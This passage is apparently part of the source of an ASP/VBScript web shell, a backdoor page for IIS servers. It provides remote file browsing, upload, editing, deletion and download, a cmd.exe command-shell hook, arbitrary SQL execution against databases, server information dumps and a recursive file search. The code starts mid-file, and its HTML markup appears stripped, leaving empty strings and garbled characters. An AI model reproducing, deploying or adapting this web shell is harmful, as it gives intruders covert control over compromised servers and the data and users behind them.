"
Sl=Sl&" |
"
Sl=Sl&"| "
Sl=Sl&IsIco("minus.gif","computer.gif","o")&"Directory"
Sl=Sl&" |
"
If Not ObT(0,1) Then
Sl=Sl&" |
"
Else
Set ABC=New LBF:Sl=Sl&ABC.ShowDriver():Set ABC=Nothing
Sl=Sl&"| "
Sl=Sl& IsIco("minus.gif","folder.gif","0")
Sl=Sl&"WEB Root"
Sl=Sl&" |
"
Sl=Sl&"| "
Sl=Sl& IsIco("minus.gif","folder.gif","0")
Sl=Sl&"Sweet Root"
Sl=Sl&" |
"
Sl=Sl&"| "
Sl=Sl& IsIco("minus.gif","folder.gif","0")
Sl=Sl&"Program Root"
Sl=Sl&" |
"
Sl=Sl&"| "
Sl=Sl& IsIco("minus.gif","folder.gif","0")
Sl=Sl&"All User Root"
Sl=Sl&" |
"
Sl=Sl&"| "
Sl=Sl& IsIco("minus.gif","folder.gif","0")
Sl=Sl&"Inetsrv Root"
Sl=Sl&" |
"
Sl=Sl&"| "
Sl=Sl& IsIco("minus.gif","folder.gif","0")
Sl=Sl&"Logs Root"
Sl=Sl&" |
"
Sl=Sl&"| "
Sl=Sl& IsIco("minus.gif","computer.gif",chr(43))
Sl=Sl&"Edit AutoFile"
Sl=Sl&" |
"
Sl=Sl&"| "
Sl=Sl& IsIco("minus.gif","newfolder.gif",chr(38))
Sl=Sl&"New Folder"
Sl=Sl&" |
"
Sl=Sl&"| "
Sl=Sl&IsIco("minus.gif","newfile.gif",chr(63))
Sl=Sl&"New Text"
Sl=Sl&" |
"
End If
echo Sl:Sl=""
Sl=Sl&"| "
Sl=Sl&IsIco("minus.gif","main.gif",chr(60))
Sl=Sl&"File Up"
Sl=Sl&" |
"
Sl=Sl&"| "
Sl=Sl&IsIco("plus.gif","main.gif","o")
Sl=Sl&"DataBase Operate"
Sl=Sl&" |
"
Sl=Sl&"| "
Sl=Sl&IsIco("minus.gif","newfile.gif","4")
Sl=Sl&"New MDB"
Sl=Sl&" |
"
Sl=Sl&"| "
Sl=Sl&IsIco("minus.gif","mdb.gif","4")
Sl=Sl&"DataBase Opera"
Sl=Sl&" |
"
Sl=Sl&"| "
Sl=Sl&IsIco("minus.gif","zip.gif","4")
Sl=Sl&"Compress MDB"
Sl=Sl&" |
"
Sl=Sl&"| "
Sl=Sl&IsIco("minus.gif","cmd.gif","o")
Sl=Sl&"Command"
Sl=Sl&" |
"
Sl=Sl&"| "
Sl=Sl&IsIco("minus.gif","main.gif",chr(91))
Sl=Sl&"Sever Info"
Sl=Sl&" |
"
Sl=Sl&"| "
Sl=Sl&IsIco("minus.gif","htm.gif",chr(36))
Sl=Sl&"Search"
Sl=Sl&" |
"
echo Sl : Sl=""
End Function
Function ServerInfo()
Sl=""
Sl=Sl&"| [Server Info] |
"
Sl=Sl&"| Count Of CPU | | "&Request.ServerVariables("NUMBER_OF_PROCESSORS")&" |
"
Sl=Sl&"| Server OS | | "&Request.ServerVariables("OS")&" |
"
Sl=Sl&"| WEB Ver | | "&Request.ServerVariables("SERVER_SOFTWARE")&" |
"
For i=0 To 13
Sl=Sl&"| "&ObT(i,0)&" | "&ObT(i,1)&" | "&ObT(i,2)&" |
"
Next
echo Sl
End Function
Function DownFile(Path)
Response.Clear
Set OSM = CreateObject(ObT(6,0))
OSM.Open
OSM.Type = 1
OSM.LoadFromFile Path
Response.AddHeader "Content-Disposition", "attachment; filename=" & Path
Response.Charset = "UTF-8"
Response.ContentType = "application/octet-stream"
Response.BinaryWrite OSM.Read
Response.Flush
OSM.Close
Set OSM = Nothing
End Function
Function HTMLEncode(S)
if not isnull(S) then
S = replace(S, ">", ">")
S = replace(S, "<", "<")
S = replace(S, CHR(39), "'")
S = replace(S, CHR(34), """)
HTMLEncode = S
end if
End Function
Function UpFile()
If Request("Action2")="Post" Then
Set U=new UPC : Set F=U.UA("LocalFile")
UName=U.form("ToPath")
If UName="" Or F.FileSize=0 then
Sl="
The File Path In Server:"
Else
F.SaveAs UName
If Err.number=0 Then
Sl="
File"&UName&"Up Succeed£¡"
End if
End If
Set F=nothing:Set U=nothing
Sl=Sl&BackUrl
echo Sl
ShowErr()
Response.End
End If
Sl="
"
echo Sl
End Function
Function SearchCode(InText)
if len(InText) = 0 then
SearchCode = ""
exit function
end if
Len_Real = len(InText)
do while mid(InText, Len_Real, 1) = "="
Len_Real = Len_Real - 1
loop
dim ret, ndx, by4, first, No2, third, fourth
ret = ""
by4 = (Len_Real \ 4) * 4
ndx = 1
do while ndx <= by4
first = SearchGroup(asc(mid(InText, ndx+0, 1)))
No2 = SearchGroup(asc(mid(InText, ndx+1, 1)))
third = SearchGroup(asc(mid(InText, ndx+2, 1)))
fourth = SearchGroup(asc(mid(InText, ndx+3, 1)))
ret = ret & chr( ((first * 4) AND 255) + ((No2 \ 16) AND 3))
ret = ret & chr( ((No2 * 16) AND 255) + ((third \ 4) AND 15) )
ret = ret & chr( ((third * 64) AND 255) + (fourth AND 63) )
ndx = ndx + 4
loop
if ndx < Len_Real then
first = SearchGroup(asc(mid(InText, ndx+0, 1)))
No2 = SearchGroup(asc(mid(InText, ndx+1, 1)))
ret = ret & chr( ((first * 4) AND 255) + ((No2 \ 16) AND 3) )
if Len_Real MOD 4 = 3 then
third = SearchGroup(asc(mid(InText,ndx+2,1)))
ret = ret & chr( ((No2 * 16) AND 255) + ((third \ 4) AND 15) )
end if
end if
SearchCode = ret
End Function
Function CmdShell()
If Request("SP")<>"" Then:ShellPath = Request("SP"):Else:ShellPath = "cmd.exe":End If
If Request("cmd")<>"" Then DefCmd = Request("cmd")
Sl=""
echo Sl
End Function
Function CreateMdb(Path)
Sl="
"
Set C = CreateObject(ObT(2,0))
C.Create("Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Path)
Set C = Nothing
If Err.number=0 Then
Sl = Sl & Path & "Great MDB Succeed!"
End If
Sl=Sl&BackUrl
echo Sl
End function
Function CompactMdb(Path)
If Not ObT(0,1) Then
Set C=CreateObject(ObT(3,0))
C.CompactDatabase "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Path&",Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" &Path
Set C=Nothing
Else
Set FSO=CreateObject(ObT(0,1))
If FSO.FileExists(Path) Then
Set C=CreateObject(ObT(3,0))
C.CompactDatabase "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Path&",Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" &Path&"_bak"
Set C=Nothing
FSO.DeleteFile Path
FSO.MoveFile Path&"_bak",Path
Else
Sl="
DataBase"&Path&"Not Found£¡"
Err.number=1
End If
Set FSO=Nothing
End If
If Err.number=0 Then
Sl="
DataBase"&Path&"Compress Succeed£¡"
End If
Sl=Sl&BackUrl
echo Sl
End Function
Function Search()
strKey = Request.Form("Key")
Sl=""
echo Sl:Sl=""
If theAct <> "" And strKey <> "" Then
SearchIt(strKey)
End If
End Function
Sub SearchIt(key)
Dim strPath, theFolder
Response.Buffer = True
strPath = thePath
Set fso=CreateObject(ObT(0,0))
If fso.FolderExists(strPath) = False Then
echo(thePath & "Directory Not Exist Or Access Deny!")
End If
Set theFolder = fso.GetFolder(strPath)
echo "
"
Select Case theAct
Case "Both"
Call SearchFolder(theFolder, key, 1)
Case "FileName"
Call SearchFolder(theFolder, key, 2)
Case "FileContent"
Call SearchFolder(theFolder, key, 3)
End Select
echo "
"
Set theFolder = Nothing
set fso=Nothing
End Sub
Sub SearchFolder(folder, key, flag)
Dim ext, title, theFile, theFolder
For Each theFile In folder.Files
ext = LCase(Split(theFile.Path, ".")(UBound(Split(theFile.Path, "."))))
If flag = 1 Or flag = 2 Then
If InStr(LCase(theFile.Name), LCase(key)) > 0 Then echo FileLink(theFile, "")
End If
If flag = 1 Or flag = 3 Then
If Instr(EditableFileExt, "$" & ext & "$") > 0 Then
If SearchFile(theFile, key, title) Then echo FileLink(theFile, title)
End If
End If
Next
Response.Flush()
For Each theFolder In folder.SubFolders
Call SearchFolder(theFolder, key, flag)
Next
end sub
Function SearchFile(f, s, title)
Dim theFile, content, pos1, pos2
On Error Resume Next
Set fso=CreateObject(ObT(0,0))
Set theFile = fso.OpenTextFile(f.Path)
content = theFile.ReadAll()
theFile.Close
Set theFile = Nothing
If Err Then
Err.Clear
End If
SearchFile = InStr(1, content, s, 1)
If SearchFile > 0 Then
pos1 = InStr(1, content, "", 1)
pos2 = InStr(1, content, "", 1)
title = ""
If pos1 > 0 And pos2 > 0 Then
title = Mid(content, pos1 + 7, pos2 - pos1 - 7)
End If
End If
set fso=Nothing
End Function
Function FileLink(file, title)
fileLink = file.Path
If title = "" Then
title = file.Name
End If
Sl=""
Sl=Sl&""
Sl=Sl&"| 2 "
Sl=Sl&""& fileLink &" | "
Sl=Sl&""&file.Type&" | "
Sl=Sl&""&clng(file.size/1024)&"K | "
Sl=Sl&""&file.DateLastModified&" | "
Sl=Sl&"edit | "
Sl=Sl&"del | "
Sl=Sl&"copy | "
Sl=Sl&"move | "
Sl=Sl&"
"
fileLink=Sl
End Function
Function DbManager()
SqlStr=Trim(Request.Form("SqlStr"))
DbStr=Request.Form("DbStr")
Sl=Sl&""
echo Sl:Sl=""
If Len(DbStr)>40 Then
Set Conn=CreateObject(ObT(5,0))
Conn.Open DbStr
Set Rs=Conn.OpenSchema(20)
Sl=Sl&"Table
Name | "
Rs.MoveFirst
Do While Not Rs.Eof
If Rs("TABLE_TYPE")="TABLE" then
TName=Rs("TABLE_NAME")
Sl=Sl&"[ del ]
"
Sl=Sl&""&TName&" | "
End If
Rs.MoveNext
Loop
Set Rs=Nothing
Sl=Sl&"
"
echo Sl:Sl=""
If Len(SqlStr)>10 Then
If LCase(Left(SqlStr,6))="select" then
Sl=Sl&"Execute£º"&SqlStr
Set Rs=CreateObject("Adodb.Recordset")
Rs.open SqlStr,Conn,1,1
FN=Rs.Fields.Count
RC=Rs.RecordCount
Rs.PageSize=500
Count=Rs.PageSize
PN=Rs.PageCount
Page=request("Page")
If Page<>"" Then Page=Clng(Page)
If Page="" Or Page=0 Then Page=1
If Page>PN Then Page=PN
If Page>1 Then Rs.absolutepage=Page
Sl=Sl&" | "
For n=0 to FN-1
Set Fld=Rs.Fields.Item(n)
Sl=Sl&""&Fld.Name&" | "
Set Fld=nothing
Next
Sl=Sl&"
"
Do While Not(Rs.Eof or Rs.Bof) And Count>0
Count=Count-1
Bgcolor="#EFEFEF"
Sl=Sl&"| x | "
For i=0 To FN-1
If Bgcolor="#EFEFEF" Then:Bgcolor="#F5F5F5":Else:Bgcolor="#EFEFEF":End if
If RC=1 Then
ColInfo=HTMLEncode(Rs(i))
Else
ColInfo=HTMLEncode(Left(Rs(i),50))
End If
Sl=Sl&""&ColInfo&" | "
Next
Sl=Sl&"
"
Rs.MoveNext
Loop
echo Sl:Sl=""
SqlStr=HtmlEnCode(SqlStr)
Sl=Sl&"Record Count£º"&RC&" Page£º"&Page&"/"&PN
If PN>1 Then
Sl=Sl&" Homepage Previous "
If Page>8 Then:Sp=Page-8:Else:Sp=1:End if
For i=Sp To Sp+8
If i>PN Then Exit For
If i=Page Then
Sl=Sl&i&" "
Else
Sl=Sl&""&i&" "
End If
Next
Sl=Sl&" Next Last"
End If
Sl=Sl&"
|
"
Rs.Close:Set Rs=Nothing
echo Sl:Sl=""
Else
Conn.Execute(SqlStr)
Sl=Sl&"SQLÓï¾ä£º"&SqlStr
End If
echo Sl:Sl=""
End If
Conn.Close
Set Conn=Nothing
End If
End Function
%>
<%=ApplicationName&" - "&ServerIP%>
<%
Dim T1
Class UPC
Dim D1,D2
Public Function Form(F)
F=lcase(F)
If D1.exists(F) then:Form=D1(F):else:Form="":end if
End Function
Public Function UA(F)
F=lcase(F)
If D2.exists(F) then:set UA=D2(F):else:set UA=new FIF:end if
End Function
Private Sub Class_Initialize
Dim TDa,TSt,vbCrlf,TIn,DIEnd,T2,TLen,TFL,SFV,FStart,FEnd,DStart,DEnd,UpName
set D1=CreateObject(ObT(4,0))
if Request.TotalBytes<1 then Exit Sub
set T1 = CreateObject(ObT(6,0))
T1.Type = 1 : T1.Mode =3 : T1.Open
T1.Write Request.BinaryRead(Request.TotalBytes)
T1.Position=0 : TDa =T1.Read : DStart = 1
DEnd = LenB(TDa)
set D2=CreateObject(ObT(4,0))
vbCrlf = chrB(13) & chrB(10)
set T2 = CreateObject(ObT(6,0))
TSt = MidB(TDa,1, InStrB(DStart,TDa,vbCrlf)-1)
TLen = LenB (TSt)
DStart=DStart+TLen+1
while (DStart + 10) < DEnd
DIEnd = InStrB(DStart,TDa,vbCrlf & vbCrlf)+3
T2.Type = 1 : T2.Mode =3 : T2.Open
T1.Position = DStart
T1.CopyTo T2,DIEnd-DStart
T2.Position = 0 : T2.Type = 2 : T2.Charset ="gb2312"
TIn = T2.ReadText : T2.Close
DStart = InStrB(DIEnd,TDa,TSt)
FStart = InStr(22,TIn,"name=""",1)+6
FEnd = InStr(FStart,TIn,"""",1)
UpName = lcase(Mid (TIn,FStart,FEnd-FStart))
if InStr (45,TIn,"filename=""",1) > 0 then
set TFL=new FIF
FStart = InStr(FEnd,TIn,"filename=""",1)+10
FEnd = InStr(FStart,TIn,"""",1)
FStart = InStr(FEnd,TIn,"Content-Type: ",1)+14
FEnd = InStr(FStart,TIn,vbCr)
TFL.FileStart =DIEnd
TFL.FileSize = DStart -DIEnd -3
if not D2.Exists(UpName) then
D2.add UpName,TFL
end if
else
T2.Type =1 : T2.Mode =3 : T2.Open
T1.Position = DIEnd : T1.CopyTo T2,DStart-DIEnd-3
T2.Position = 0 : T2.Type = 2
T2.Charset ="gb2312"
SFV = T2.ReadText
T2.Close
if D1.Exists(UpName) then
D1(UpName)=D1(UpName)&", "&SFV
else
D1.Add UpName,SFV
end if
end if
DStart=DStart+TLen+1
wend
TDa=""
set T2 =nothing
End Sub
Private Sub Class_Terminate
if Request.TotalBytes>0 then
D1.RemoveAll:D2.RemoveAll
set D1=nothing:set D2=nothing
T1.Close:set T1 =nothing
end if
End Sub
End Class
Class FIF
dim FileSize,FileStart
Private Sub Class_Initialize
FileSize = 0
FileStart= 0
End Sub
Public function SaveAs(F)
dim T3
SaveAs=true
if trim(F)="" or FileStart=0 then exit function
set T3=CreateObject(ObT(6,0))
T3.Mode=3 : T3.Type=1 : T3.Open
T1.position=FileStart
T1.copyto T3,FileSize
T3.SaveToFile F,2
T3.Close
set T3=nothing
SaveAs=false
end function
End Class
Class LBF
Dim CF
Private Sub Class_Initialize
SET CF=CreateObject(ObT(0,0))
End Sub
Private Sub Class_Terminate
Set CF=Nothing
End Sub
Function ShowDriver()
For Each D in CF.Drives
Sl=Sl&"| "
Sl=Sl&IsIco("plus.gif","driver.gif","v")
Sl=Sl&"Disk ("&D.DriveLetter&":)"
Sl=Sl&" |
"
Next
ShowDriver=Sl
End Function
Function FileIco(FName)
If ShowFileIco=true Then
TypeList = ".asp.asa.bat.bmp.com.doc.db.dll.exe.fla.gif.htm.html.inc.ini.jpg.js.log.mdb.mid.mp3.png.php.rm.rar.swf.txt.wav.xls.xml.zip"
FileType = lcase(Mid(FName, InstrRev(FName,".")+1))
If Instr(TypeList,"."&FileType)>0 then
Ico = FileType&".gif"
Else
Ico = "default.gif"
End If
FileIco = "![]("&IcoPath&Ico&")
"
Else
FileIco="2 "
End If
End Function
Function ShowFile(Path)
Set FOLD=CF.GetFolder(Path)
i=0
Sl=""
For Each F in FOLD.subfolders
Sl=Sl&"| "
Sl=Sl&IsIco("","folder.gif","0")
Sl=Sl&" "&F.Name&""
Sl=Sl&" | del"
Sl=Sl&" copy"
Sl=Sl&" move"
i=i+1
If i mod 3 = 0 then Sl=Sl&" |
"
Next
Sl=Sl&"
|
"
echo Sl : Sl=""
For Each L in Fold.files
Sl=""
Sl=Sl&""
Sl=Sl&"| "&FileIco(L.Name)
Sl=Sl&""&L.Name&" | "
Sl=Sl&""&L.Type&" | "
Sl=Sl&""&clng(L.size/1024)&"K | "
Sl=Sl&""&L.DateLastModified&" | "
Sl=Sl&"edit | "
Sl=Sl&"del | "
Sl=Sl&"copy | "
Sl=Sl&"move | "
Sl=Sl&"
"
echo Sl : Sl=""
Next
Set FOLD=Nothing
End function
Function DelFile(Path)
If CF.FileExists(Path) Then
CF.DeleteFile Path
Sl="
File "&Path&" Delte succeed£¡"
Sl=Sl&BackUrl
echo Sl
End If
End Function
Function EditFile(Path)
If Request("Action2")="Post" Then
Set T=CF.CreateTextFile(Path)
T.WriteLine Request.form("content")
T.close
Set T=nothing
Sl="
File Save Succeed£¡"
Sl=Sl&BackUrl
echo Sl
Response.End
End If
If Path<>"" Then
Set T=CF.opentextfile(Path, 1, False)
Txt=HTMLEncode(T.readall)
T.close
Set T=Nothing
Else
Path=Session("FolderPath")&"\newfile.asp":Txt="New File"
End If
Sl=""
echo Sl
End Function
Function CopyFile(Path)
Path = Split(Path,"||||")
If CF.FileExists(Path(0)) and Path(1)<>"" Then
CF.CopyFile Path(0),Path(1)
Sl="
File"&Path(0)&"Copy Succeed£¡"
Sl=Sl&BackUrl
echo Sl
End If
End Function
Function MoveFile(Path)
Path = Split(Path,"||||")
If CF.FileExists(Path(0)) and Path(1)<>"" Then
CF.MoveFile Path(0),Path(1)
Sl="
File"&Path(0)&"Move Succeed£¡"
Sl=Sl&BackUrl
echo Sl
End If
End Function
Function DelFolder(Path)
If CF.FolderExists(Path) Then
CF.DeleteFolder Path
Sl="
Folder"&Path&"Delete Succeed£¡"
Sl=Sl&BackUrl
echo Sl
End If
End Function
Function CopyFolder(Path)
Path = Split(Path,"||||")
If CF.FolderExists(Path(0)) and Path(1)<>"" Then
CF.CopyFolder Path(0),Path(1)
Sl="
Folder"&Path(0)&"Copy Succeed£¡"
Sl=Sl&BackUrl
echo Sl
End If
End Function
Function MoveFolder(Path)
Path = Split(Path,"||||")
If CF.FolderExists(Path(0)) and Path(1)<>"" Then
CF.MoveFolder Path(0),Path(1)
Sl="
Folder"&Path(0)&"Move Succeed£¡"
Sl=Sl&BackUrl
echo Sl
End If
End Function
Function NewFolder(Path)
If Not CF.FolderExists(Path) and Path<>"" Then
CF.CreateFolder Path
Sl="
Folder"&Path&"Great Succeed£¡"
Sl=Sl&BackUrl
echo Sl
End If
End Function
End Class
Select Case Action
Case "MainMenu":MainMenu()
Case "ShowFile"
Set ABC=New LBF:ABC.ShowFile(Session("FolderPath")):Set ABC=Nothing
Case "DownFile":DownFile FName:ShowErr()
Case "DelFile"
Set ABC=New LBF:ABC.DelFile(FName):Set ABC=Nothing
Case "EditFile"
Set ABC=New LBF:ABC.EditFile(FName):Set ABC=Nothing
Case "CopyFile"
Set ABC=New LBF:ABC.CopyFile(FName):Set ABC=Nothing
Case "MoveFile"
Set ABC=New LBF:ABC.MoveFile(FName):Set ABC=Nothing
Case "DelFolder"
Set ABC=New LBF:ABC.DelFolder(FName):Set ABC=Nothing
Case "CopyFolder"
Set ABC=New LBF:ABC.CopyFolder(FName):Set ABC=Nothing
Case "MoveFolder"
Set ABC=New LBF:ABC.MoveFolder(FName):Set ABC=Nothing
Case "NewFolder"
Set ABC=New LBF:ABC.NewFolder(FName):Set ABC=Nothing
Case "UpFile":UpFile()
Case "Logout":Session.Contents.Remove("KKK"):Response.Redirect URL
Case "CmdShell":CmdShell()
Case "CreateMdb":CreateMdb FName
Case "CompactMdb":CompactMdb FName
Case "DbManager":DbManager()
Case "ServerInfo":ServerInfo()
Case "Search":Search()
Case Else MainForm()
End Select
ShowErr()
%>